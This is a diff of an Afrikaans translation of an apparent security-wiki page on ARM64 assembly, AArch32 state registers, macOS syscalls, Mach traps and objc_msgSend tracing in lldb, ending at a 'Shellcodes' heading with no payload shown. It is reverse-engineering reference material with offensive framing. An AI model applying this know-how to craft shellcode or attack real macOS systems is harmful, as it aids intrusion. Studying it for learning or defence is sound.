van X2 uit, sign-extend dit, en plaas die resultaat in X1 +- **`UBFIZ X1, X2, #3, #4`** Zero-extends 4 bite van X2 en plaas dit in X1 beginnende by bitposisie 3 en maak die regterbite nul +- **`UBFX X1, X2, #3, #4`** Trek 4 bite beginnende by bit 3 van X2 uit en plaas die zero-extended resultaat in X1. +- **Sign Extend To X:** Brei die teken uit (of voeg net 0s by in die unsigned weergawe) van 'n waarde om operasies met dit te kan uitvoer: +- **`SXTB X1, W2`** Brei die teken van 'n byte **van W2 na X1** uit (`W2` is die helfte van `X2`) om die 64 bits te vul +- **`SXTH X1, W2`** Brei die teken van 'n 16-bit getal **van W2 na X1** uit om die 64 bits te vul +- **`SXTW X1, W2`** Brei die teken van 'n 32-bit getal **van W2 na X1** uit om die 64 bits te vul +- **`UXTB X1, W2`** Voeg 0s by (unsigned) aan 'n byte **van W2 na X1** om die 64 bits te vul +- **`extr`:** Trek bite uit 'n gespesifiseerde **paar van registre concatenated**. +- Voorbeeld: `EXTR W3, W2, W1, #3` Dit sal **W1+W2** concateneer en kry **van bit 3 van W2 tot bit 3 van W1** en dit in W3 stoor. +- **`cmp`**: **Vergelyk** twee registers en stel conditievlae. Dit is 'n **alias van `subs`** wat die bestemming register op die zero register stel. Nuttig om te weet of `m == n`. +- Dit ondersteun dieselfde sintaks as `subs` +- Voorbeeld: `cmp x0, x1` — Dit vergelyk die waardes in `x0` en `x1` en stel die conditievlae ooreenkomstig. +- **`cmn`**: **Vergelyk negatiewe** operand. In hierdie geval is dit 'n **alias van `adds`** en ondersteun dieselfde sintaks. Nuttig om te weet of `m == -n`. +- **`ccmp`**: Voorwaardelike vergelyking, dit is 'n vergelyking wat slegs uitgevoer sal word as 'n vorige vergelyking waar was en sal spesifiek nzcv-bits stel. - `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> as x1 != x2 en x3 < x4, spring na func -- Dit is omdat **`ccmp`** slegs uitgevoer sal word as die **vorige `cmp` 'n `NE` was**, as dit nie was nie, sal die bits `nzcv` op 0 gestel word (wat nie die `blt` vergelyking sal bevredig nie). -- Dit kan ook as `ccmn` gebruik word (dieselfde maar negatief, soos `cmp` teenoor `cmn`). -- **`tst`**: Dit kyk of enige van die waardes van die vergelyking albei 1 is (dit werk soos 'n ANDS sonder om die resultaat enige plek te stoor). Dit is nuttig om 'n register met 'n waarde te kontroleer en te kyk of enige van die bits van die register wat in die waarde aangedui word, 1 is. -- Voorbeeld: `tst X1, #7` Kyk of enige van die laaste 3 bits van X1 1 is -- **`teq`**: XOR operasie wat die resultaat verwerp -- **`b`**: Onvoorwaardelike Tak +- Dit is omdat **`ccmp`** slegs uitgevoer sal word as die **vorige `cmp` 'n `NE`** was; as dit nie was nie sal die bits `nzcv` op 0 gestel word (wat nie die `blt` vergelyking sal bevredig nie). +- Dit kan ook as `ccmn` gebruik word (dieselfde maar negatief, soos `cmp` vs `cmn`). +- **`tst`**: Dit kontroleer of enige van die bisse van die vergelyking albei 1 is (dit werk soos 'n ANDS sonder om die resultaat enige plek te stoor). Dit is nuttig om 'n register met 'n waarde te toets en te kyk of enige van die bisse wat aangedui word deur die waarde 1 is. +- Voorbeeld: `tst X1, #7` Kontroleer of enige van die laaste 3 bite van X1 1 is +- **`teq`**: XOR-operasie wat die resultaat weggooi +- **`b`**: Onvoorwaardelike Tak (Branch) - Voorbeeld: `b myFunction` -- Let daarop dat dit nie die koppeling register met die terugadres sal vul nie (nie geskik vir subrutine oproepe wat terug moet keer nie) -- **`bl`**: **Tak** met koppeling, gebruik om 'n **subrutine** te **noem**. Stoor die **terugadres in `x30`**. -- Voorbeeld: `bl myFunction` — Dit noem die funksie `myFunction` en stoor die terugadres in `x30`. -- Let daarop dat dit nie die koppeling register met die terugadres sal vul nie (nie geskik vir subrutine oproepe wat terug moet keer nie) -- **`blr`**: **Tak** met Koppeling na Register, gebruik om 'n **subrutine** te **noem** waar die teiken in 'n **register** gespesifiseer word. Stoor die terugadres in `x30`. (Dit is -- Voorbeeld: `blr x1` — Dit noem die funksie waarvan die adres in `x1` bevat is en stoor die terugadres in `x30`. -- **`ret`**: **Keer terug** van **subrutine**, tipies met die adres in **`x30`**. -- Voorbeeld: `ret` — Dit keer terug van die huidige subrutine met die terugadres in `x30`. +- Let daarop dat dit nie die link register met die terugkeeradres vul nie (nie geskik vir subrutine-oproepe wat terug moet keer nie) +- **`bl`**: **Branch** met link, gebruik om 'n **subrutine** te **bel**. Stoor die **terugkeeradres in `x30`**. +- Voorbeeld: `bl myFunction` — Dit roep die funksie `myFunction` aan en stoor die terugkeeradres in `x30`. +- Let dat dit nie die link register met die terugkeeradres vul nie (nie geskik vir subrutine-oproepe wat terug moet keer nie) +- **`blr`**: **Branch** met Link na Register, gebruik om 'n **subrutine** te **bel** waar die teiken in 'n **register** gespesifiseer is. Stoor die terugkeeradres in `x30`. +- Voorbeeld: `blr x1` — Dit roep die funksie aan wie se adres in `x1` is en stoor die terugkeeradres in `x30`. +- **`ret`**: **Keer terug** van 'n **subrutine**, tipies die adres in **`x30`** gebruik. +- Voorbeeld: `ret` — Dit keer terug uit die huidige subrutine gebruikende die terugkeeradres in `x30`. - **`b.`**: Voorwaardelike takke -- **`b.eq`**: **Tak as gelyk**, gebaseer op die vorige `cmp` instruksie. -- Voorbeeld: `b.eq label` — As die vorige `cmp` instruksie twee gelyke waardes gevind het, spring dit na `label`. -- **`b.ne`**: **Tak as Nie Gelyk**. Hierdie instruksie kyk die toestand vlae (wat deur 'n vorige vergelyking instruksie gestel is), en as die vergelykte waardes nie gelyk was nie, tak dit na 'n etiket of adres. +- **`b.eq`**: **Tak indien gelyk**, gebaseer op die vorige `cmp` instruksie. +- Voorbeeld: `b.eq label` — As die vorige `cmp` twee gelyke waardes gevind het, spring dit na `label`. +- **`b.ne`**: **Tak as nie-gelyk**. Hierdie instruksie kontroleer die conditievlae (gestel deur 'n vorige vergelykingsinstruksie), en as die vergelykte waardes nie gelyk was nie, tak dit na 'n label of adres. - Voorbeeld: Na 'n `cmp x0, x1` instruksie, `b.ne label` — As die waardes in `x0` en `x1` nie gelyk was nie, spring dit na `label`. -- **`cbz`**: **Vergelyk en Tak op Nul**. Hierdie instruksie vergelyk 'n register met nul, en as hulle gelyk is, tak dit na 'n etiket of adres. +- **`cbz`**: **Compare and Branch on Zero**. Hierdie instruksie vergelyk 'n register met nul, en as hulle gelyk is, tak dit na 'n label of adres. - Voorbeeld: `cbz x0, label` — As die waarde in `x0` nul is, spring dit na `label`. -- **`cbnz`**: **Vergelyk en Tak op Nie-Nul**. Hierdie instruksie vergelyk 'n register met nul, en as hulle nie gelyk is nie, tak dit na 'n etiket of adres. +- **`cbnz`**: **Compare and Branch on Non-Zero**. Hierdie instruksie vergelyk 'n register met nul, en as hulle nie gelyk is nie, tak dit na 'n label of adres. - Voorbeeld: `cbnz x0, label` — As die waarde in `x0` nie nul is nie, spring dit na `label`. -- **`tbnz`**: Toets bit en tak op nie-nul +- **`tbnz`**: Test bit and branch on nonzero - Voorbeeld: `tbnz x0, #8, label` -- **`tbz`**: Toets bit en tak op nul +- **`tbz`**: Test bit and branch on zero - Voorbeeld: `tbz x0, #8, label` -- **Voorwaardelike seleksie operasies**: Dit is operasies waarvan die gedrag wissel, afhangende van die voorwaardelike bits. -- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> As waar, X0 = X1, as vals, X0 = X2 -- `csinc Xd, Xn, Xm, cond` -> As waar, Xd = Xn, as vals, Xd = Xm + 1 -- `cinc Xd, Xn, cond` -> As waar, Xd = Xn + 1, as vals, Xd = Xn -- `csinv Xd, Xn, Xm, cond` -> As waar, Xd = Xn, as vals, Xd = NOT(Xm) -- `cinv Xd, Xn, cond` -> As waar, Xd = NOT(Xn), as vals, Xd = Xn -- `csneg Xd, Xn, Xm, cond` -> As waar, Xd = Xn, as vals, Xd = - Xm -- `cneg Xd, Xn, cond` -> As waar, Xd = - Xn, as vals, Xd = Xn -- `cset Xd, Xn, Xm, cond` -> As waar, Xd = 1, as vals, Xd = 0 -- `csetm Xd, Xn, Xm, cond` -> As waar, Xd = \, as vals, Xd = 0 -- **`adrp`**: Bereken die **bladsy adres van 'n simbool** en stoor dit in 'n register. -- Voorbeeld: `adrp x0, symbol` — Dit bereken die bladsy adres van `symbol` en stoor dit in `x0`. -- **`ldrsw`**: **Laai** 'n ondertekende **32-bit** waarde van geheue en **onderteken-uitbrei dit na 64** bits. -- Voorbeeld: `ldrsw x0, [x1]` — Dit laai 'n ondertekende 32-bit waarde van die geheue ligging wat deur `x1` aangedui word, onderteken-uitbrei dit na 64 bits, en stoor dit in `x0`. -- **`stur`**: **Stoor 'n registerwaarde na 'n geheue ligging**, met 'n offset van 'n ander register. -- Voorbeeld: `stur x0, [x1, #4]` — Dit stoor die waarde in `x0` in die geheue adres wat 4 bytes groter is as die adres wat tans in `x1` is. -- **`svc`** : Maak 'n **stelselaanroep**. Dit staan vir "Supervisor Call". Wanneer die verwerker hierdie instruksie uitvoer, **verskuif dit van gebruikersmodus na kernelmodus** en spring na 'n spesifieke ligging in geheue waar die **kernel se stelselaanroep hantering** kode geleë is. +- **Conditional select operations**: Dit is operasies wie se gedrag afhang van die kondisionele bisse. +- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> As waar, X0 = X1, as onwaar, X0 = X2 +- `csinc Xd, Xn, Xm, cond` -> As waar, Xd = Xn, as onwaar, Xd = Xm + 1 +- `cinc Xd, Xn, cond` -> As waar, Xd = Xn + 1, as onwaar, Xd = Xn +- `csinv Xd, Xn, Xm, cond` -> As waar, Xd = Xn, as onwaar, Xd = NOT(Xm) +- `cinv Xd, Xn, cond` -> As waar, Xd = NOT(Xn), as onwaar, Xd = Xn +- `csneg Xd, Xn, Xm, cond` -> As waar, Xd = Xn, as onwaar, Xd = - Xm +- `cneg Xd, Xn, cond` -> As waar, Xd = - Xn, as onwaar, Xd = Xn +- `cset Xd, Xn, Xm, cond` -> As waar, Xd = 1, as onwaar, Xd = 0 +- `csetm Xd, Xn, Xm, cond` -> As waar, Xd = \, as onwaar, Xd = 0 +- **`adrp`**: Bereken die **bladsyadres van 'n simbool** en stoor dit in 'n register. +- Voorbeeld: `adrp x0, symbol` — Dit bereken die bladsyadres van `symbol` en stoor dit in `x0`. +- **`ldrsw`**: **Laai** 'n signed **32-bit** waarde uit geheue en **sign-extend** dit na 64 bits. +- Voorbeeld: `ldrsw x0, [x1]` — Dit laai 'n signed 32-bit waarde vanaf die geheue-ligging aangedui deur `x1`, sign-extend dit na 64 bits, en stoor dit in `x0`. +- **`stur`**: **Stoor 'n registerwaarde in 'n geheue-ligging**, gebruik 'n offset van 'n ander register. +- Voorbeeld: `stur x0, [x1, #4]` — Dit stoor die waarde in `x0` in die geheue-adres wat 4 bytes groter is as die adres in `x1`. +- **`svc`** : Maak 'n **system call**. Dit staan vir "Supervisor Call". Wanneer die verwerker hierdie instruksie uitvoer, skakel dit **van gebruiker-modus na kern-modus** en spring na 'n spesifieke ligging in geheue waar die **kernel se system call handling** kode geleë is. - Voorbeeld: ```armasm -mov x8, 93 ; Laai die stelselaanroepnommer vir uitgang (93) in register x8. -mov x0, 0 ; Laai die uitgangstatuskode (0) in register x0. -svc 0 ; Maak die stelselaanroep. +mov x8, 93 ; Load the system call number for exit (93) into register x8. +mov x0, 0 ; Load the exit status code (0) into register x0. +svc 0 ; Make the system call. ``` -### **Funksie Proloog** +### **Function Prologue** -1. **Stoor die koppeling register en raamwyser na die stapel**: +1. **Stoor die link register en frame pointer in die stack**: ```armasm stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer ``` -2. **Stel die nuwe raamwyser op**: `mov x29, sp` (stel die nuwe raamwyser op vir die huidige funksie) -3. **Toewys ruimte op die stapel vir plaaslike veranderlikes** (indien nodig): `sub sp, sp, ` (waar `` die aantal bytes is wat benodig word) +2. **Stel die nuwe raamwyser op**: `mov x29, sp` (stel die nuwe raamwyser vir die huidige funksie op) +3. **Ken ruimte op die stapel toe vir plaaslike veranderlikes** (indien nodig): `sub sp, sp, ` (waar `` die aantal bytes is wat benodig word) -### **Funksie Epiloog** +### **Funksie-epiloog** -1. **Deallokeer plaaslike veranderlikes (indien enige toegeken is)**: `add sp, sp, ` -2. **Herstel die skakelregister en raamwyser**: +1. **Maak plaaslike veranderlikes vry (indien enige toegeken is)**: `add sp, sp, ` +2. **Herstel die linkregister en raamwyser**: ```armasm ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer ``` -3. **Return**: `ret` (gee beheer terug aan die oproeper met behulp van die adres in die skakelregister) +3. **Terugkeer**: `ret` (hergee beheer aan die aanroeper met behulp van die adres in die link register) -## AARCH32 Uitvoeringsstaat +## AARCH32 Uitvoeringstoestand -Armv8-A ondersteun die uitvoering van 32-bis programme. **AArch32** kan in een van **twee instruksiesette** loop: **`A32`** en **`T32`** en kan tussen hulle skakel via **`interworking`**.\ -**Bevoorregte** 64-bis programme kan die **uitvoering van 32-bis** programme skeduleer deur 'n uitsonderingsvlak oordrag na die laer bevoorregte 32-bis uit te voer.\ -Let daarop dat die oorgang van 64-bis na 32-bis plaasvind met 'n verlaging van die uitsonderingsvlak (byvoorbeeld 'n 64-bis program in EL1 wat 'n program in EL0 aktiveer). Dit word gedoen deur die **bit 4 van** **`SPSR_ELx`** spesiale register **op 1** te stel wanneer die `AArch32` prosesdraad gereed is om uitgevoer te word en die res van `SPSR_ELx` stoor die **`AArch32`** programme CPSR. Dan roep die bevoorregte proses die **`ERET`** instruksie aan sodat die verwerker oorgaan na **`AArch32`** en in A32 of T32 ingaan, afhangende van CPSR**.** +Armv8-A ondersteun die uitvoering van 32-bit programme. **AArch32** kan in een van **twee instruksiesstelle** loop: **`A32`** en **`T32`** en kan tussen hulle wissel via **`interworking`**.\ +**Bevoorregte** 64-bit programme kan die **uitvoering van 32-bit** programme beplan deur 'n oordrag van uitsonderingsvlak na die laer-bevoorregte 32-bit uit te voer.\ +Neem kennis dat die oorgang van 64-bit na 32-bit plaasvind met 'n laer uitsonderingsvlak (byvoorbeeld 'n 64-bit program in EL1 wat 'n program in EL0 trigger). Dit word gedoen deur **bit 4 van** **`SPSR_ELx`** spesiale register **op 1 te stel** wanneer die `AArch32` prosesdraad gereed is om uitgevoer te word en die res van `SPSR_ELx` die **`AArch32`** program se CPSR stoor. Daarna roep die bevoorregte proses die **`ERET`** instruksie sodat die verwerker na **`AArch32`** oorgaan en A32 of T32 betree afhangende van CPSR**.** -Die **`interworking`** vind plaas met behulp van die J en T bits van CPSR. `J=0` en `T=0` beteken **`A32`** en `J=0` en `T=1` beteken **T32**. Dit beteken basies om die **laagste bit op 1** te stel om aan te dui dat die instruksieset T32 is.\ -Dit word tydens die **interworking takinstruksies** gestel, maar kan ook direk met ander instruksies gestel word wanneer die PC as die bestemmingsregister gestel word. Voorbeeld: +Die **`interworking`** gebeur deur die J en T-bitte van CPSR te gebruik. `J=0` en `T=0` beteken **`A32`** en `J=0` en `T=1` beteken **T32**. Dit beteken basies om die **laagste bit op 1 te stel** om aan te dui dat die instruksie-stel T32 is.\ +Dit word gestel tydens die **interworking branch instructions,** maar kan ook direk met ander instruksies gestel word wanneer die PC as die bestemmingsregister gestel word. Voorbeeld: Nog 'n voorbeeld: ```armasm @@ -264,58 +267,58 @@ mov r0, #8 ``` ### Registers -Daar is 16 32-bit registers (r0-r15). **Van r0 tot r14** kan hulle vir **enige operasie** gebruik word, maar sommige daarvan is gewoonlik gereserveer: +Daar is 16 32-bit registers (r0-r15). **Vanaf r0 tot r14** kan hulle vir **enige operasie** gebruik word, maar sommige word gewoonlik gereserveer: -- **`r15`**: Program counter (altyd). Bevat die adres van die volgende instruksie. In A32 huidige + 8, in T32, huidige + 4. -- **`r11`**: Frame Pointer -- **`r12`**: Intra-procedural call register -- **`r13`**: Stack Pointer +- **`r15`**: Programteller (altyd). Bevat die adres van die volgende instruksie. In A32 huidige + 8, in T32 huidige + 4. +- **`r11`**: Raamwyser +- **`r12`**: Intra-prosedurele oproepregister +- **`r13`**: Stack Pointer (Let daarop dat die stack altyd 16-byte uitgelyn is) - **`r14`**: Link Register -Boonop word registers gebackup in **`banked registries`**. Dit is plekke wat die registerwaardes stoor, wat vinnige kontekswisseling in uitsonderinghantering en bevoorregte operasies moontlik maak om die behoefte om registers handmatig te stoor en te herstel elke keer te vermy.\ -Dit word gedoen deur **die verwerkerstatus van die `CPSR` na die `SPSR`** van die verwerker-modus waar die uitsondering geneem word, te stoor. By die uitsondering terugkeer, word die **`CPSR`** van die **`SPSR`** herstel. +Verder word registers gesteun in **`banked registries`**. Dit is plekke wat die registerwaardes stoor en toelaat om **vinnige kontekswisseling** uit te voer tydens uitsonderingshantering en bevoegde operasies, sodat dit nie nodig is om registre elke keer handmatig te stoor en te herstel nie.\ +Dit gebeur deur **die verwerkerstatus van die `CPSR` na die `SPSR`** van die verwerkermodus waarin die uitsondering geneem is, te stoor. By die terugkeer van die uitsondering word die **`CPSR`** uit die **`SPSR`** herstel. -### CPSR - Huidige Program Status Register +### CPSR - Huidige Programstatusregister -In AArch32 werk die CPSR soortgelyk aan **`PSTATE`** in AArch64 en word ook in **`SPSR_ELx`** gestoor wanneer 'n uitsondering geneem word om later die uitvoering te herstel: +In AArch32 werk die CPSR soortgelyk aan **`PSTATE`** in AArch64 en word dit ook in **`SPSR_ELx`** gestoor wanneer 'n uitsondering geneem word om later die uitvoering te herstel:
-Die velde is in 'n paar groepe verdeel: +Die velde is in 'n paar groepe verdeeld: -- Toepassing Program Status Register (APSR): Aritmetiese vlae en toeganklik vanaf EL0 -- Uitvoeringstoestand Registers: Prosesgedrag (geadministreer deur die OS). +- Application Program Status Register (APSR): Aritmetiese vlagte en toeganglik vanaf EL0 +- Execution State Registers: Prosesgedrag (bestuur deur die OS). -#### Toepassing Program Status Register (APSR) +#### Application Program Status Register (APSR) -- Die **`N`**, **`Z`**, **`C`**, **`V`** vlae (net soos in AArch64) -- Die **`Q`** vlag: Dit word op 1 gestel wanneer **heelgetal saturasie plaasvind** tydens die uitvoering van 'n gespesialiseerde versadigende aritmetiese instruksie. Sodra dit op **`1`** gestel is, sal dit die waarde behou totdat dit handmatig op 0 gestel word. Boonop is daar geen instruksie wat sy waarde implisiet nagaan nie, dit moet gedoen word deur dit handmatig te lees. -- **`GE`** (Groter as of gelyk aan) Vlaggen: Dit word gebruik in SIMD (Single Instruction, Multiple Data) operasies, soos "parallel add" en "parallel subtract". Hierdie operasies stel in staat om verskeie datapunte in 'n enkele instruksie te verwerk. +- Die **`N`**, **`Z`**, **`C`**, **`V`** vlagte (soos in AArch64) +- Die **`Q`** vlag: Dit word op 1 gestel wanneer **integer-saturasie** voorkom tydens die uitvoering van 'n spesialis-saturerende aritmetiese instruksie. Sodra dit op **`1`** gestel is, behou dit die waarde totdat dit handmatig op 0 gestel word. Daar is verder geen instruksie wat sy waarde implisiet nagaan nie; dit moet handmatig gelees word. +- **`GE`** (Greater than or equal) vlagte: Dit word in SIMD (Single Instruction, Multiple Data) operasies gebruik, soos "parallel add" en "parallel subtract". Hierdie operasies laat toe om verskeie datapunte in een instruksie te verwerk. -Byvoorbeeld, die **`UADD8`** instruksie **voeg vier pare bytes** (van twee 32-bit operand) parallel by en stoor die resultate in 'n 32-bit register. Dit stel dan **die `GE` vlae in die `APSR`** op grond van hierdie resultate. Elke GE vlag kom ooreen met een van die byte byvoegings, wat aandui of die byvoeging vir daardie byte paar **oorloop**. +Byvoorbeeld, die **`UADD8`** instruksie **voeg vier pare bytes** (van twee 32-bit operands) parallel by en berg die resultate in 'n 32-bit register. Dit stel dan die **`GE`** vlagte in die **`APSR`** gebaseer op hierdie resultate. Elke GE-vlag stem ooreen met een van die byte-byvoegings en dui aan of die byvoeging vir daardie bytepaar **oorvloei**. -Die **`SEL`** instruksie gebruik hierdie GE vlae om voorwaardelike aksies uit te voer. +Die **`SEL`** instruksie gebruik hierdie GE-vlagte om voorwaardelike aksies uit te voer. -#### Uitvoeringstoestand Registers +#### Execution State Registers -- Die **`J`** en **`T`** bits: **`J`** moet 0 wees en as **`T`** 0 is, word die instruksieset A32 gebruik, en as dit 1 is, word die T32 gebruik. -- **IT Bloktoestand Register** (`ITSTATE`): Dit is die bits van 10-15 en 25-26. Hulle stoor toestande vir instruksies binne 'n **`IT`** voorvoegselgroep. +- Die **`J`** en **`T`** bits: **`J`** behoort 0 te wees en as **`T`** 0 is gebruik dit die instruksieset A32, en as dit 1 is word T32 gebruik. +- IT Block State Register (`ITSTATE`): Dit is die bisse van 10-15 en 25-26. Hulle stoor toestande vir instruksies binne 'n **`IT`**-voorgestelde groep. - **`E`** bit: Dui die **endianness** aan. -- **Modus en Uitsondering Masker Bits** (0-4): Hulle bepaal die huidige uitvoeringstoestand. Die **5de** dui aan of die program as 32bit (n 1) of 64bit (n 0) loop. Die ander 4 verteenwoordig die **uitsonderingsmodus wat tans gebruik word** (wanneer 'n uitsondering plaasvind en dit hanteer word). Die nommer wat gestel word **dui die huidige prioriteit aan** in die geval dat 'n ander uitsondering geaktiveer word terwyl dit hanteer word. +- Mode en Exception Mask Bits (0-4): Hulle bepaal die huidige uitvoeringstoestand. Die 5de bit dui aan of die program as 32bit (1) of 64bit (0) loop. Die ander 4 verteenwoordig die **uitsonderingsmodus wat tans gebruik word** (wanneer 'n uitsondering plaasvind en hanteer word). Die gesette nommer dui die huidige prioriteit aan ingeval nog 'n uitsondering geaktiveer word terwyl hierdie een hanteer word.
-- **`AIF`**: Sekere uitsonderings kan gedeaktiveer word met die bits **`A`**, `I`, `F`. As **`A`** 1 is, beteken dit dat **asynchrone afbrake** geaktiveer sal word. Die **`I`** stel in om te reageer op eksterne hardeware **Interrupts Requests** (IRQs). en die F is verwant aan **Fast Interrupt Requests** (FIRs). +- **`AIF`**: Sekere uitsonderings kan gedeaktiveer word deur die bits **`A`**, `I`, `F`. As **`A`** 1 is beteken dit asynchrone aborts sal geaktiveer word. Die **`I`** stel die reaksie op eksterne hardeware Interrupt Requests (IRQs) op, en die F is verwant aan Fast Interrupt Requests (FIRs). ## macOS ### BSD syscalls -Kyk na [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). BSD syscalls sal **x16 > 0** hê. +Kyk na [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) of voer `cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h` uit. BSD syscalls sal **x16 > 0** hê. ### Mach Traps -Kyk na [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) die `mach_trap_table` en in [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) die prototipes. Die maksimum aantal Mach traps is `MACH_TRAP_TABLE_COUNT` = 128. Mach traps sal **x16 < 0** hê, so jy moet die nommers van die vorige lys met 'n **minus** aanroep: **`_kernelrpc_mach_vm_allocate_trap`** is **`-10`**. +Kyk in [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) na die `mach_trap_table` en in [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) na die prototipes. Die maksimum aantal Mach traps is `MACH_TRAP_TABLE_COUNT` = 128. Mach traps sal **x16 < 0** hê, so jy moet die nommers van die vorige lys met 'n **minus** oproep: **`_kernelrpc_mach_vm_allocate_trap`** is **`-10`**. Jy kan ook **`libsystem_kernel.dylib`** in 'n disassembler nagaan om te vind hoe om hierdie (en BSD) syscalls aan te roep: ```bash @@ -325,32 +328,32 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib # iOS dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 ``` -Let daarop dat **Ida** en **Ghidra** ook **spesifieke dylibs** uit die cache kan dekompileer net deur die cache te oorhandig. +Note that **Ida** and **Ghidra** can also decompile **specific dylibs** from the cache just by passing the cache. > [!TIP] -> Soms is dit makliker om die **gedekompileerde** kode van **`libsystem_kernel.dylib`** te kontroleer **as** om die **bronkode** te kontroleer omdat die kode van verskeie syscalls (BSD en Mach) via skripte gegenereer word (kyk kommentaar in die bronkode) terwyl jy in die dylib kan vind wat aangeroep word. +> Soms is dit makliker om die **gedekompileerde** kode van **`libsystem_kernel.dylib`** **as** om die **bronkode** na te gaan, omdat die kode van verskeie syscalls (BSD en Mach) via skripte gegenereer word (kyk kommentaar in die bronkode) terwyl jy in die dylib kan vind wat aangeroep word. -### machdep oproepe +### machdep calls -XNU ondersteun 'n ander tipe oproepe wat masjienafhanklik genoem word. Die getalle van hierdie oproepe hang af van die argitektuur en geen van die oproepe of getalle is gewaarborg om konstant te bly nie. +XNU ondersteun 'n ander tipe oproepe wat machine dependent genoem word. Die nommers van hierdie oproepe hang af van die argitektuur en geen van die oproepe of nommers is gewaarborg om konstant te bly nie. -### comm bladsy +### comm page -Dit is 'n kern eienaar geheue bladsy wat in die adresruimte van elke gebruiker se proses gemap is. Dit is bedoel om die oorgang van gebruikersmodus na kernruimte vinniger te maak as om syscalls te gebruik vir kerndienste wat so baie gebruik word dat hierdie oorgang baie ondoeltreffend sou wees. +Dit is 'n kernel-eienaarskap geheuebladsy wat in die adresruimte van elke gebruiker se proses gemap word. Dit is bedoel om die oorgang van user mode na kernel space vinniger te maak as om syscalls te gebruik vir kernel-dienste wat so gereeld gebruik word dat hierdie oorgang baie ondoeltreffend sou wees. -Byvoorbeeld, die oproep `gettimeofdate` lees die waarde van `timeval` direk van die comm bladsy. +Byvoorbeeld lees die oproep `gettimeofdate` die waarde van `timeval` direk vanaf die comm page. ### objc_msgSend -Dit is baie algemeen om hierdie funksie in Objective-C of Swift programme te vind. Hierdie funksie stel jou in staat om 'n metode van 'n Objective-C objek aan te roep. +Dit is uiters algemeen om hierdie funksie in Objective-C of Swift programme te vind. Hierdie funksie laat toe om 'n metode van 'n Objective-C object aan te roep. -Parameters ([meer inligting in die dokumentasie](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)): +Parameters ([more info in the docs](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)): -- x0: self -> Wys na die instansie -- x1: op -> Selektor van die metode -- x2... -> Res van die argumente van die aangeroepte metode +- x0: self -> Aanwyser na die instansie +- x1: op -> Selector van die metode +- x2... -> Oorblywende argumente van die aangeroepde metode -So, as jy 'n breekpunt voor die tak na hierdie funksie plaas, kan jy maklik vind wat in lldb aangeroep word (in hierdie voorbeeld roep die objek 'n objek van `NSConcreteTask` aan wat 'n opdrag sal uitvoer): +As jy dus 'n breakpoint plaas voor die tak na hierdie funksie, kan jy maklik vind wat aangeroep word in lldb met (in hierdie voorbeeld roep die objek 'n objek van `NSConcreteTask` aan wat 'n opdrag sal uitvoer): ```bash # Right in the line were objc_msgSend will be called (lldb) po $x0 @@ -369,27 +372,27 @@ whoami ) ``` > [!TIP] -> Deur die omgewing veranderlike **`NSObjCMessageLoggingEnabled=1`** in te stel, is dit moontlik om te log wanneer hierdie funksie in 'n lêer soos `/tmp/msgSends-pid` aangeroep word. +> Deur die omgewingsveranderlike **`NSObjCMessageLoggingEnabled=1`** te stel, is dit moontlik om te log wanneer hierdie funksie aangeroep word in 'n lêer soos `/tmp/msgSends-pid`. > -> Boonop, deur **`OBJC_HELP=1`** in te stel en enige binêre aan te roep, kan jy ander omgewing veranderlikes sien wat jy kan gebruik om **log** te maak wanneer sekere Objc-C aksies plaasvind. +> Verder, deur **`OBJC_HELP=1`** te stel en enige binary aan te roep, kan jy ander omgewingsveranderlikes sien wat jy kan gebruik om te **log** wanneer sekere Objc-C-aksies plaasvind. -Wanneer hierdie funksie aangeroep word, is dit nodig om die aangeroepde metode van die aangeduide instansie te vind, hiervoor word verskillende soektogte gedoen: +Wanneer hierdie funksie aangeroep word, moet die aangeroep metode van die aangeduide instance gevind word; hiervoor word verskeie soektogte uitgevoer: -- Voer optimistiese kassoektog uit: -- As suksesvol, klaar -- Verkry runtimeLock (lees) -- As (realiseer && !cls->realized) realiseer klas -- As (initialize && !cls->initialized) initaliseer klas -- Probeer klas se eie kas: -- As suksesvol, klaar -- Probeer klas metode lys: -- As gevind, vul kas en klaar -- Probeer superklas kas: -- As suksesvol, klaar -- Probeer superklas metode lys: -- As gevind, vul kas en klaar -- As (resolver) probeer metode resolver, en herhaal vanaf klas soektog -- As ek nog hier is (= alles anders het gefaal) probeer forwarder +- Voer optimistiese cache-opsoek uit: +- As dit suksesvol is, klaar +- Verkry runtimeLock (read) +- If (realize && !cls->realized) realize class +- If (initialize && !cls->initialized) initialize class +- Probeer class se eie cache: +- As dit suksesvol is, klaar +- Probeer class method list: +- Indien gevind, vul cache en klaar +- Probeer superclass cache: +- As dit suksesvol is, klaar +- Probeer superclass method list: +- Indien gevind, vul cache en klaar +- If (resolver) try method resolver, and repeat from class lookup +- As dit nog hier is (= alles anders het misluk), probeer forwarder ### Shellcodes @@ -417,7 +420,7 @@ done ```
